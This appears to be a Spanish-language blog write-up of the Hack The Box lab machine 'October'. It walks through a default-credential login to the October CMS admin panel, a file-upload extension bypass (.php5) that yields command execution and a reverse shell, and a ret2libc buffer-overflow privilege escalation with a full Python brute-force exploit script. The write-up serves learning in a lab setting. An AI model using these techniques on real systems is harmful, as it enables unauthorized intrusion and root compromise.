Entrada

October

En este post estaremos resolviendo la máquina October de la plataforma Hack The Box. En primer lugar, deberemos acceder al panel de administración del CMS October, para luego ganar acceso al sistema. Luego, para escalar privilegios, tendremos que explotar un buffer overflow sobre un binario, haciendo un bypass de NX/DEP y el ASLR.

Reconocimiento

Comenzamos lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

Reconocimento usando el comando ping

Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Linux basandonos en el TTL (Time To Live), en este caso 64.

Enumeración

Descubrimiento de puertos abiertos

Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.

Escaneo de puertos con nmap

1
nmap -sS -p- --open --min-rate 5000 -Pn -n 10.10.10.6 -oG scanPorts -vvv

Parámetros utilizados:

  • -sS: Realiza un TCP SYN Scan para escanear de manera sigilosa, es decir, que no completa las conexiones TCP con los puertos de la máquina víctima.
  • -p-: Indica que debe escanear todos los puertos (es igual a -p 1-65535).
  • --open: Solo considerar puertos abiertos.
  • --min-rate 5000: Establece el número mínimo de paquetes que nmap enviará por segundo.
  • -Pn: Desactiva el descubrimiento de host por medio de ping.
  • -vvv: Activa el modo verbose para que nos muestre resultados a medida que los encuentra.
  • -oG: Determina el formato del archivo en el cual se guardan los resultados obtenidos. En este caso, es un formato grepeable, el cual almacena todo en una sola línea. De esta forma, es más sencillo procesar y obtener los puertos abiertos por medio de expresiones regulares, en conjunto con otras utilidades como pueden ser grep, awk, sed, entre otras.

Enumeración de versión y servicio

Descubrimiento de versión y servicio con nmap

Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos abiertos determinados anteriormente.

1
nmap -sCV -p22,80 -vvv -oN targeted -vvv 10.10.10.16

Parámetros utilizados:

  • -sCV Es la combinación de los parámetros -sC y -sV. El primero determina que se utilizarán una serie de scripts básiscos de enumeración propios de nmap, para conocer el servicio que esta corriendo en dichos puertos. Por su parte, el segundo parámetro permite conocer más acerca de la versión de ese servicio.
  • -p-: Indica que debe escanear todos los puertos (es igual a -p 1-65535)
  • -oN: Determina el formato del archivo en el cual se guardan los resultados obtenidos, junto con el nombre del archivo targeted. En este caso, utiliza el formato por defecto de nmap.
  • -vvv: Activa el modo verbose para que nos muestre resultados a medida que los encuentra.

Solo por motivos de comodidad, agregamos al archivo /etc/hosts el dominio october.htb para que al apuntar a este nos resuelva la ip de la máquina víctima.

1
echo "10.10.10.16 october.htb" | tee -a /etc/hosts

Podemos hacer uso del plugin Wappalyzer que nos lista las tecnologías utilizadas en el sitio web.

Wappalyzer

Como podemos observar, el sitio web esta construido con el CMS October.

CMS October

Al investigar un poco sobre el CMS October, podemos encontrar que este se administra a través de la ruta /backend, y que el nombre de usuario y contraseña por defecto son admin:admin. Al visitar /backend, nos redirecciona a https://october.htb/backend/backend/auth/signin donde encontramos una página de inicio de sesión:

CMS October

Utilizamos las credenciales por defecto y logramos ingresar al panel de administración del CMS.

CMS October Admin

Shell como www-data

Si ingresamos a la sección Media, vemos que tenemos la posibilidad de subir archivos. Intentemos subir un archivo .php.

CMS October - Media

CMS October - Media

CMS October - Media

Vemos que nos devuelve un error.

Interceptemos la petición con Burp Suite para trabajar más comodo y tener mayor control sobre la solicitud.

CMS October - Media

Probemos cambiar la extensión del archivo para hacer un Bypass de la extensión Hacktricks - File Upload.

CMS October - Media

Se puede apreciar que nos permite subir el archivo, indicandonos el path donde se a guardado.

Si ingresamos a la ruta donde se aloja el archivo, podemos notar que no se esta interpretando el código php.

CMS October - Media

Probemos con otras extensiones.

Si intetamos cambiar las extensiones a .php3, .php4 obtenemos el siguiente mensaje de error.

CMS October - Media

Pero, si probamos con .php5 vemos que tenemos éxito y logramos subir el archivo.

CMS October - Media

Al igresar a la ruta indicada, vemos que tenemos capacidad para ejecutar comandos.

CMS October - Media

Ahora que sabemos que podemos ejecutar comandos, enviamos una reverse shell a nuestra máquina atacante para ganar acceso al sistema.

Nos ponemos en escucha con nc por el puerto 443.

CMS October - Media

Enviamos la reverse shell.

CMS October - Media

Ganamos acceso al sistema como el usuario www-data.

October - www-data

Hacemos un tratamiento de la tty para tener una terminal más interactiva:

  • script /dev/null -c bash
  • CTRL + Z
  • stty raw -echo; fg
  • reset xterm
  • export TERM=xterm
  • export SHELL=bash
  • stty rows <rows> columns <columns>

Escalación de privilegios - root

Enumeración del sistema

Realizamos una enumeración básica del sistema.

October - www-data

Vemos que estamos frente a un Ubuntu 14.04.5 LTS de 32 bits.

Si miramos el archivo /etc/passwd, podemos notar que además del usuario root existe otro usuario llamado harry.

October - www-data

Leemos la flag del usuario, que se encuentra bajo el directorio home del usuario harry.

October - www-data

Continuamos enumerando de forma manual y encontramos un binario inusual con permisos SUID.

October - www-data

October - www-data

Si ejecutamos el binario pasando como argumento una cadena corta, por ejemplo 6 A's, vemos que no pasa nada.

October - www-data

Pero si pasamos como argumento 200 A's, vemos que el binario corrompe mostrando como error segmentation fault (core dumped), lo cual es una buena señal de que estamos frente a un Buffer Overflow.

Copiamos el binario a la carpeta /var/www/html/cms/storage/app/media para poder descargarlo y analizarlo en nuestra máquina atacante.

October - www-data

Antes de continuar, obtengamos un poco más de información sobre el binario. Para ello podemos hacer uso de gdb con gdb-peda.

October - www-data

Tal como vemos, el DEP (Data Execution Prevention) esta activado (NX). Lo cual indica que no podemos ejecutar código malicioso directamente en la pila (ESP). Pero esto no indica que no podamos explotar el binario. Podemos aprovecharnos de la técnia Ret2libc, usando las propias funciones de la biblioteca estandar libc las cuales se cargan en memoria junto con el binario.

Por otra parte, si comprobamos el archivo /proc/sys/kernel/randomize_va_space, vemos que el ASLR esta activado.

October - www-data

Esto también se puede percibir, si ejecutamos varias veces ldd sobre el binario, la dirección de memoria de la libreria libc cambia en cada ejecución.

October - www-data

Para visualizarlo con más detalle podemos utilizar gdb, el cual nos permite analizar el binario a bajo nivel observando como funciona el flujo del programa.

1
2
gdb ./ovrflw
r $(python3 -c 'print("A" * 200)')

October - www-data

Podemos notar, que los registros (ESP, EBP y EIP) están sobrescritos por nuestras “A”. El primer registro en el cual nos tenemos que centrar es en el EIP, el cual apunta a la dirección 0x41414141 que corresponde a nuestras A's.

Explotación del Buffer Overflow

Determinar el offset

De las primeras cosas que debemos de averiguar para poder explotar el buffer overflow, es conocer el número de bytes exactos para controlar el registro EIP. Para ello podemos hacerlo de manera manual pero utilizando gdb-peda.

1
pattern create 500

October - www-data

El comando anterior, crea una cadena especialemente diseñada que corresponde a un patrón que luego peda podra utilizar para averiguar el offset, es decir, la cantidad exacta de bytes que debemos de enviar para poder controlar el EIP.

Corremos nuevamente el programa con gdb, pero en lugar de ingresar A's insertamos nuestro payload.

October - www-data

La aplicación corrompe nuevamente y ahora el EIP vale AA8A.

Podemos contar de forma manual cuantos caracteres hay antes de AA8A en nuestro payload, lo cual determinará el offset o podemos hacer uso del comando pattern offset de gdb.

October - www-data

October - www-data

El offset, es decir, la cantidad de caracteres que debemos ingresar para que la aplicación falle son 112. Podemos comprobar esto ingresando el siguiente payload.

1
2
3
> python3 -c "print('A' * 112 + 'B' * 4)"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAABBBB

October - www-data

Observamos que el EIP ahora apunta a la dirección 0x42424242 que corresponde a nuestras B's. En otras palabaras, estamos sobreescribiendo el registro EIP.

Ejecución del Buffer Overflow

La técnica que utilizaremos para explotar el buffer overflow se llama Ret2libc, de la cual hay un post en blog explicando la misma.

Cuando el ASLR está habilitado, como es el caso, al llevar a cabo un ataque Ret2Libc, es crucial aprovechar las funciones proporcionadas por la biblioteca libc. En este contexto, es necesario seleccionar una de las direcciones de la base de libc, las cuales se obtienen de la siguiente manera:

1
> for i in $(seq 1 1000); do ldd /usr/local/bin/ovrflw | grep libc | awk 'NF{print $NF}' | grep "0xb7636000" | tr -d '()'; done

October - www-data

Como observamos, hemos identificado colisiones de direcciones en la memoria, lo que indica la presencia de repeticiones. El plan de ataque consiste en obtener los desplazamientos (offsets) de las funciones systemexit y bin_sh, para luego sumarles la dirección base de libc que hayamos seleccionado. De esta manera, podemos calcular las direcciones reales de systemexit y bin_sh. A continuación, veremos este proceso en acción para una mejor comprensión.

En consecuencia, será necesario emplear una técnica de “fuerza bruta”, ejecutando repetidamente el programa. Este enfoque busca generar colisiones en la memoria, de manera que, en el momento en que el programa apunte a la base de la libc que hayamos seleccionado, podamos calcular los desplazamientos (offsets) y obtener las direcciones reales. De esta manera, logramos que el exploit sea exitoso al realizar una llamada al sistema para ejecutar /bin/sh.

Para obtener los offsets de systemexit y bin_sh podemos hacerlo de la siguiente forma:

1
www-data@october:/ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -E "\bsystem@@| exit@@"

October - www-data

Mediante la ejecución de este comando, logramos obtener el desplazamiento (offset) de las funciones system y exit.

Para adquirir el último desplazamiento (offset), será necesario ejecutar el siguiente comando:

October - www-data

Ahora que hemos obtenido todos los desplazamientos (offsets), podemos crear nuestro exploit en este caso utilizando Python.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python3

# 1. Calcular offset
# 2. Obtener una base de libc
# 3. Obtener offsets (system, exit, bin_sh)
# 4. Calcular direcciones reales
# EIP = system_address + exit_address + bin_sh_address

import sys
from struct import pack
from subprocess import call

# ldd ovrflw
# for i in $(seq 1 1000); do ldd ovrflw | grep libc | awk 'NF{print $NF}' | grep "0xb7636000" | tr -d '()'; done
base_libc_address = 0xb7636000

# readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -E "\bsystem@@| exit@@"
exit_address_offset = 0x00033260
system_address_offset = 0x00040310

# strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
bin_sh_address_offset = 0x00162bac

# calculamos las direcciones reales
system_address = pack("<L", system_address_offset + base_libc_address)
exit_address = pack("<L", exit_address_offset + base_libc_address)
bin_sh_address = pack("<L", bin_sh_address_offset + base_libc_address)

offset = 112
junk = b"A" * 112

eip = system_address + exit_address + bin_sh_address

payload = junk + eip

while True:
    res = call(["/usr/local/bin/ovrflw", payload])
    if res == 0:
        print("\n[!] Exiting the program...\n")
        sys.exit(0)

Ejecutamos el exploit y leemos el flag del usuario root.

October - root

De esta forma, llegamos al final del Write-up de la máquina October.

Espero que los conceptos hayan quedado claros. Si has llegado hasta este punto y aún tienes dudas, te recomiendo volver a realizar la máquina.

Gracias por tu lectura!

Happy Hacking!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.